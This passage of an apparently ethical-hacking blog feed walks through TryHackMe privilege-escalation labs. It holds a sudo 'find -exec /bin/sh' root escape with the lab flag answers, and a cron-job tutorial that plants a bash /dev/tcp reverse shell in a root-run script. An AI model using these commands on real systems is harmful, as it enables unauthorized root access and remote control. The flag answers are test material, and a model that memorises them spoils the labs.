    href=&quot;https://blog.hackingtruth.org/&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;547&quot;
      data-original-width=&quot;810&quot;
      height=&quot;432&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitCd2yis9ugjQf0DARCFWIpJjncBHG0i_yHAHK1LHy5N7dQ5lDtzAGy2txZdJzuzWHIXxNU5h_kDQNqZtC0rRdcqFA4ErrxycA9zd8Z0OSehb_QwOEkxruAlt_ZhcDWB1NK2C7R1bCqVLOMP98HZLb2gIG0ZHFvSsi3AEWk64PvfHA09m3AvtmYOj0cQ/w640-h432/4.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now we will login as missy and retrieve the first flag. &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;su missy&lt;/b&gt; &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;212&quot;
      data-original-width=&quot;517&quot;
      height=&quot;262&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQxDqPicOZKBeWmGGXxtiHL6TaIIPDd7Dp0jCHgnVTnoYPr_yBRubGQr9JC2_34ruHnZaMj1RgNsS-VKmYP9FjH1KfIoI722zQpOxPEw7-78uaqVhfBnx0FLGOVBD8SSEIaMWZjNVkb-Y1rhCDmf8ucGv8-IsOm43Wy7Ng8lV10bwMdnM5lTzriM5-g/w640-h262/5.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;The first flag is located in the documents folder.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cd /Documents&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cat flag1.txt&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Ans&lt;/b&gt;: THM-42828719920544&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;143&quot;
      data-original-width=&quot;555&quot;
      height=&quot;164&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ56INnrQeDQ_oN6xureZsVBbcqtDYqFESJuNfKsfJB6e8KjSLk1Pz8kC7E-V-v0QBBWIpH0dOvST_xrQGFJpwp5GLX-vsZzKsIZ8Sr9PHz5ShUsGPnPOsy_xQ6UtbofaU6LmAhsvp4DRkRgSk9aVrAMEP24Han9pnqvch3z-veYiat2guVlc-nRtSsA/w640-h164/6.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;8670359215&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  We know that the second flag is in rootflag directory but we still don’t have
  access to it. &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;84&quot;
      data-original-width=&quot;383&quot;
      height=&quot;140&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0iSbjXS4P3UosIPUjs2_KzAMFqb_akcsEMQf2VgfPMUch9YIgeztko5uUipxjxVOUAM2sbyTBE0mLIECdCbJqHeaSnNktsA8IL7QutJVK1kMs_rNvtlA55LukiRIqE8kpAGuqhLIOtf3VgoOnzyEVPiq4Ul_COVcdwd_NNzSYxTA3xeHTNDa7bB2apA/w640-h140/7.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  So, we’ll again enumerate for possible privilege escalation vectors.&lt;br /&gt;&lt;br /&gt;Here
  we discovered that missy can run the find command as sudo privileges, as usual
  we will head over to GTFOBins and lookup for find.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;sudo -l&lt;/b&gt;
  &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;255&quot;
      data-original-width=&quot;1298&quot;
      height=&quot;126&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7zO9Nm4JmoxT4SJ5hsUsk30XD_SuCkRDQ7f7mrp_NJWhe0rIMCtWla_OF5eBOnRshf910fsGBm3NMPv-_TtBNS3l4qnjj12ip_Hhf0F6P9elCd-XZCktylhOi1SsB17UeEgy14YfrcaBolEvvG-Vv9PyVcCbOtFQus-KhU8RlI9yBn6W-sDz80HLsRQ/w640-h126/8.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;4575115814&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  Here we gain root privileges, and now we can retrieve the flag and finish the
  course.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;sudo find . -exec /bin/sh \; -quit &lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;whoami &lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;ls -la&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cd rootflag&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cat flag2.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;436&quot;
      data-original-width=&quot;584&quot;
      height=&quot;478&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixY7K_UXjx5BkzDaY7_uFX53YHSBb2Y36TdFzJbpntOikd1w7qfcTHb0YN9EFK4MYTN_4SrLE2-RQVDV_0vSjI4_idgBI44fGjcrKmljG7403r-FOF6MeXR1bOUTOVf6oPPk_5VS5krk6njZDyjCXtQX5uloh3jLKcby95oKGsvHIwFVJ4KJ8duw7-NQ/w640-h478/9.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  &amp;nbsp;&lt;br /&gt;&lt;b&gt;# What is the content of the flag2.txt file?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;Ans&lt;/b
  &gt;
  - THM-168824782390238
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/6575944401375218105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/01/privilege-escalation-capstone-challenge.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/6575944401375218105'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/6575944401375218105'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/01/privilege-escalation-capstone-challenge.html' title='Privilege Escalation: Capstone Challenge - base64'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC4C8UadGWfsTdsc8IPMkvjzNCBtd4WQ3RinU6BEqk0OufuDi-0sCXftP7U-Zu7wsVB6RONmM7KGKsUTP0FFE-51YgV_KZCEnDWr-PvEwvwWlWr62xEUlqwVdOET7fncLz8VnUitHQjz_FMqK0K50kr2TRBSBXqeC-E1UvE4kwX5CPG8TGTer7wlvKIA/s72-w640-h376-c/linux.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-1094685930232645637</id><published>2023-01-06T23:21:00.003-08:00</published><updated>2023-01-06T23:21:54.724-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CEH v10 ( Certified Ethical Hacking )"/><category scheme="http://www.blogger.com/atom/ns#" term="Web Penetration Testing"/><title type='text'>Privilege Escalation: Cron Jobs</title><content type='html'>&lt;p&gt;&amp;nbsp; &lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Job&quot;
      border=&quot;0&quot;
      data-original-height=&quot;591&quot;
      data-original-width=&quot;1004&quot;
      height=&quot;376&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj92jiLu6c1GKfbexW_ZGyIZ1H0RfxW00ds4Xnjn5p8ml-z66OF1L7otfmPZDb8spF_oXK4bw9IjkDDnCeHgg7zX-2Iu5itNgarEx2P4xPqHkK6Zivhffm1QMyVGs3L_jIA_5GT7gK-Ohu2KlLojr1v48w1488yxBUIe3kCoatnExCVADQsfZR43rJ7_w/w640-h376/cron-jobs.png&quot;
      title=&quot;Privilege Escalation: Cron Job&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Privilege escalation &lt;/b&gt;ideally leads to root privileges. This can
  sometimes be achieved simply by exploiting an existing
  &lt;b&gt;&lt;i&gt;vulnerability&lt;/i&gt;&lt;/b
  &gt;, or in some cases by accessing another user account that has more
  privileges, information, or access.&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Cron jobs &lt;/b&gt;are used to run scripts or binaries at specific times. By
  default, they run with the privilege of their owners and not the current user.
  While properly configured &lt;b&gt;cron&lt;/b&gt; &lt;b&gt;jobs&lt;/b&gt; are not inherently
  vulnerable, they can provide a privilege escalation vector under some
  conditions.
&lt;/p&gt;
&lt;p&gt;
  &lt;br /&gt;The idea is quite simple; if there is a scheduled task that runs with
  root privileges and we can change the script that will be run, then our script
  will run with root privileges.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Cron job&lt;/i&gt;&lt;/b&gt;
  configurations are stored as &lt;b&gt;crontabs&lt;/b&gt; (cron tables) to see the next
  time and date the task will run.&lt;br /&gt;&lt;br /&gt;Each user on the system have their
  &lt;b&gt;crontab file&lt;/b&gt; and can run specific tasks whether they are logged in or
  not. As you can expect, our goal will be to find a &lt;b&gt;&lt;i&gt;cron&lt;/i&gt;&lt;/b&gt;
  &lt;b&gt;&lt;i&gt;job&lt;/i&gt;&lt;/b&gt; set by root and have it run our script, ideally a shell.&lt;br /&gt;&lt;br /&gt;Any
  user can read the file keeping system-wide cron jobs under
  &lt;span style=&quot;background-color: black;&quot;
    &gt;&lt;span style=&quot;color: white;&quot;&gt;/etc/crontab&lt;/span&gt;&lt;/span
  &gt;&lt;br /&gt;&lt;br /&gt;While &lt;i&gt;CTF machines&lt;/i&gt; can have&lt;b&gt; cron jobs&lt;/b&gt; running every
  minute or every 5 minutes, you will more often see tasks that run
  &lt;b&gt;daily&lt;/b&gt;, &lt;b&gt;weekly&lt;/b&gt; or &lt;b&gt;monthly&lt;/b&gt; in &lt;b&gt;penetration&lt;/b&gt;
  &lt;b&gt;test&lt;/b&gt; &lt;b&gt;engagements&lt;/b&gt;.&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;First we will use ssh and we will come inside his house wihtout informing (
    atithi devo bhaava ) :-p&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script
  async=&quot;&quot;
  crossorigin=&quot;anonymous&quot;
  src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
&gt;&lt;/script&gt;
&lt;ins
  class=&quot;adsbygoogle&quot;
  data-ad-client=&quot;ca-pub-5520475398835856&quot;
  data-ad-format=&quot;autorelaxed&quot;
  data-ad-slot=&quot;2580240692&quot;
  style=&quot;display: block;&quot;
&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;270&quot;
      data-original-width=&quot;708&quot;
      height=&quot;244&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJvB1RWEpH9tUlVFKJwfBlGt8H4AJntwaFD4s2UHX0SOV7IO62ojb8_75v5kqi1K9Upb6pd4JGfcJlqRUlFSq9o62aPRopu2YIb8iaAgcxH1gdSnSNS06mydnz-LW3MlJ8WQ6pXFLRTX69ZIgJySnhm4RkAANanZ1eWnqhujakdoAqa8nZkQHGHqbuDg/w640-h244/ssh.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# How many cron jobs can you see on the target system?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b
    &gt;Ans&lt;/b
  &gt;: 4&lt;br /&gt;&lt;br /&gt;We can list the running &lt;b&gt;cron&lt;/b&gt; jobs by typing in
  &lt;span style=&quot;background-color: black;&quot;
    &gt;&lt;span style=&quot;color: white;&quot;&gt;cat /etc/crontab&lt;/span&gt;&lt;/span
  &gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;pre&gt;
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don&#39;t have to run the `crontab&#39;
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py


$ 

&lt;/pre&gt;
&lt;script
  async=&quot;&quot;
  crossorigin=&quot;anonymous&quot;
  src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
&gt;&lt;/script&gt;
&lt;ins
  class=&quot;adsbygoogle&quot;
  data-ad-client=&quot;ca-pub-5520475398835856&quot;
  data-ad-format=&quot;fluid&quot;
  data-ad-layout=&quot;in-article&quot;
  data-ad-slot=&quot;5928005178&quot;
  style=&quot;display: block; text-align: center;&quot;
&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;539&quot;
      data-original-width=&quot;778&quot;
      height=&quot;444&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRZOBRrhkbUlVSu2g85fYUl9RSHJpybstOy3hb0FUIynUw9mNmS0-Xe3qr4KBucILtXuosf6iCNQ-I_e_jR-a6wJvnaEBFvySZcqQG16yPZ7lnUpu15Lcnwk6oc51XRqcX9MEDx4y3wGv1WEed9Y9e3IY0o0kVMSIJLZD9koF_K1K8meeMaXyTNQKO5w/w640-h444/crontab.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  There is one thing remind call..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Crontab&lt;/b&gt; is always worth
  checking as it can sometimes lead to easy privilege escalation vectors. The
  following scenario is not uncommon in companies that do not have a certain
  cyber security maturity level:&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;
    &lt;b
      &gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System administrators need to run a script at regular
      intervals.&lt;/b
    &gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; They create a cron job to do this&lt;/b&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;b
      &gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; After a while, the script becomes useless, and they
      delete it&lt;/b
    &gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; They do not clean the relevant cron job&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;br /&gt;This change management issue leads to a potential exploit leveraging
  cron jobs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
  if you find antivirus script inside your target machine then there&#39;s no file
  display because file will be deleted by someone but in cronjobs script file is
  still there so we have a opporunity to exploit them.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  If the full path of the script is not defined (as it was done for the
  &lt;b&gt;backup.sh script&lt;/b&gt;), cron will refer to the paths listed under the PATH
  variable in the &lt;b&gt;/etc/crontab file&lt;/b&gt;. In this case, we should be able to
  create a script named “antivirus.sh” under our user’s home folder and it
  should be run by the cron job.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If we try to access the
  “&lt;b&gt;flag5.txt&lt;/b&gt;” file present in the “&lt;b&gt;/home/ubuntu&lt;/b&gt;” directory, we can
  see that we don’t have access to it.&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script
  async=&quot;&quot;
  crossorigin=&quot;anonymous&quot;
  src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
&gt;&lt;/script&gt;
&lt;ins
  class=&quot;adsbygoogle&quot;
  data-ad-client=&quot;ca-pub-5520475398835856&quot;
  data-ad-format=&quot;fluid&quot;
  data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot;
  data-ad-slot=&quot;8670359215&quot;
  style=&quot;display: block;&quot;
&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;180&quot;
      data-original-width=&quot;426&quot;
      height=&quot;270&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxTXK2uaLBGGl0kP5fg54Wfq6Taef56NdGRjTLJUaUA9OCIURzIxHAwJLPvg0gmv0AL9GnFylv7ELuLYHFtyh8Vw_b_K5W_Crqz9W0kkflBYggDjBvCFIj1AlJl6kruSSj_jIFktzpR0UKrDRGMXOQK0eKLQy5gio2jtk3IxwI7BwHOMNJKwjwNa-zkQ/w640-h270/permission-denied.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Since we know that there’s a&lt;b&gt; cron job&lt;/b&gt; set up for the “&lt;b&gt;backup.sh&lt;/b&gt;”
  file to run every min from the previous &lt;b&gt;&lt;i&gt;enumeration&lt;/i&gt;&lt;/b
  &gt;, we can attempt to exploit the script here.&lt;br /&gt;&lt;br /&gt;We can type in
  &lt;b&gt;nano backup.sh&lt;/b&gt; to open up nano editor and add in our bash reverse shell
  script to the “&lt;b&gt;backup.sh&lt;/b&gt;” file.&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;#!/bin/bash&lt;br /&gt;bash -i &amp;gt;&amp;amp;
    /dev/tcp/&amp;lt;OUR_MACHINE_IP&amp;gt;/&amp;lt;PORT&amp;gt; 0&amp;gt;&amp;amp;1&lt;/b
  &gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;321&quot;
      data-original-width=&quot;547&quot;
      height=&quot;376&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYXwR9PH5mTuiF7HoI6H2oT5ZNrEQOwWe0VIEGjuOfZ2MruB96-Mvk3WniLy0bER5r_EWhPIm4TC6oJmNfVFk6DoNLHBHDrnFQLKiJikuwuHNR0q_aSVOXfwFLX7EGUSHXS9yhMWCD4za8pr7wF4FBMx9FBjv72y7k-ZDAomK7DmIcWH4A6_sX2BQ2UA/w640-h376/reverse-shell-bash.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;script
  async=&quot;&quot;
  crossorigin=&quot;anonymous&quot;
  src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
&gt;&lt;/script&gt;
&lt;!--4 jan 2k22--&gt;
&lt;ins
  class=&quot;adsbygoogle&quot;
  data-ad-client=&quot;ca-pub-5520475398835856&quot;
  data-ad-format=&quot;auto&quot;
  data-ad-slot=&quot;6887909224&quot;
  data-full-width-responsive=&quot;true&quot;
  style=&quot;display: block;&quot;
&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
